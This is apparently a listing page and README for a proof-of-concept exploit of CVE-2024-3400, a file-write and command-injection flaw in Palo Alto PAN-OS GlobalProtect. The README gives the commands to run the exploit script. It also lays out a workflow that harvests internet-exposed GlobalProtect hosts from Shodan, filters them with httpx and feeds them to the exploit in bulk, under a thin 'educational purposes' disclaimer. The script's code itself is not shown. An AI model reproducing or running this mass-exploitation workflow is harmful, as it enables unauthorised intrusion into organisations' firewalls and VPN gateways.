CVE-2024-3400 PoC — PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect

Source

Associated Vulnerability

Description

Global Protec Palo Alto File Write Exploit

Readme

# CVE-2024-3400

CVE-2024-3400 Palo Alto 
File Write Exploit


**This exploit search over Global Protect URLS instances & try to write-file using CVE-2024-3400**

**[ Use with Caution ]**

**[ Made with educational Purpouses only ]**

Usage:
```
chmod +x gp-exploit.sh

./gp-exploit.sh file_name_to_write urls.txt
```

![Test Image 4](https://github.com/ak1t4/CVE-2024-3400/blob/main/front.png)


Shodan Search & Url's filtering:
```
# shodan search --fields ip_str,port 'http.html:"Global Protect"' --separator ":" | sed 's/.$//' > gp.hosts
# httpx -l gp.hosts 
# ./gp-exploit file_name gp.hosts
```
Status Code Reponses Verification:

![Test Image 5](https://github.com/ak1t4/CVE-2024-3400/blob/main/responses.jpg)

File Snapshot

 [4.0K]  /data/pocs/ceeb3a6aef9c7a08db312b08492b777958c6a2f0
├── [213K]  front.png
├── [1.0K]  gp-exploit.sh
├── [ 717]  README.md
└── [5.8K]  responses.jpg

0 directories, 4 files

Remarks